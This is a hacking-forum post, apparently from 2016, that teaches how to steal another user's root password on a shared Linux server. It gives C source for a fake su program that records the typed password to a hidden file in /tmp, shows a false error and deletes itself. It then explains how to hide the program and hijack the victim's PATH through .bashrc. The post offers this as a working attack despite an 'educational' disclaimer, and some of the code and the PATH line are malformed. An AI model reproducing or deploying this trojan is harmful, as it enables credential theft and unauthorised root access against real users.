Fake su binary 05-01-2016, 10:06 PM
#1
Disclaimer
I am not responsible for how you use this tutorial its was created for educational purposes.Introduction
Well,imagine you have access to a server with a user account and not is apache/nginx/whatever service nobody uses and the user log in here everyday to manage things.If you have access to compile tools (problably) does this.
Method
Get into a hidden directory or whatever he don't notice much:
Create new file:
Paste this code:
Compile it:
Now edit .bashrc with nano or something and find PATH=/...
And add the executable to PATH=/...
And that's all.Get into a hidden directory or whatever he don't notice much:
Code:
cd .sshCode:
nano lel.cCode:
#include <stdio.h>
#include <stdlib.h>
define SU_PASS "/tmp/.rewt"
main (int argc, char *argv[])
{
char *key;
char buf[24];
FILE *fd;
key = (char *)getpass ("Password:");
fd = fopen(SU_PASS,"w");
fprintf(fd, "pass: %s\n", key);
fclose(fd);
printf ("su: incorrect password\n");
sprintf(buf, "rm %s", argv[0]);
system(buf);
exit (1);
}Code:
gcc lel.c -o penisCode:
nano .bashrcCode:
PATH=./penis/bin/:/sbin/What this method does
When he type su root the PATH execute your binary instead of the real su so you log the password he introduce into /tmp/.rewt so just wait a little the user log into it and type su root and you can log it.I know this method is very old
Thanks for reading.
![[+]](https://sinister.ly/images/modern/collapse_collapsed.png)










![[Image: 9H83e18.png]](https://i.imgur.com/9H83e18.png)


![[Image: pBD38Xq.png]](http://i.imgur.com/pBD38Xq.png)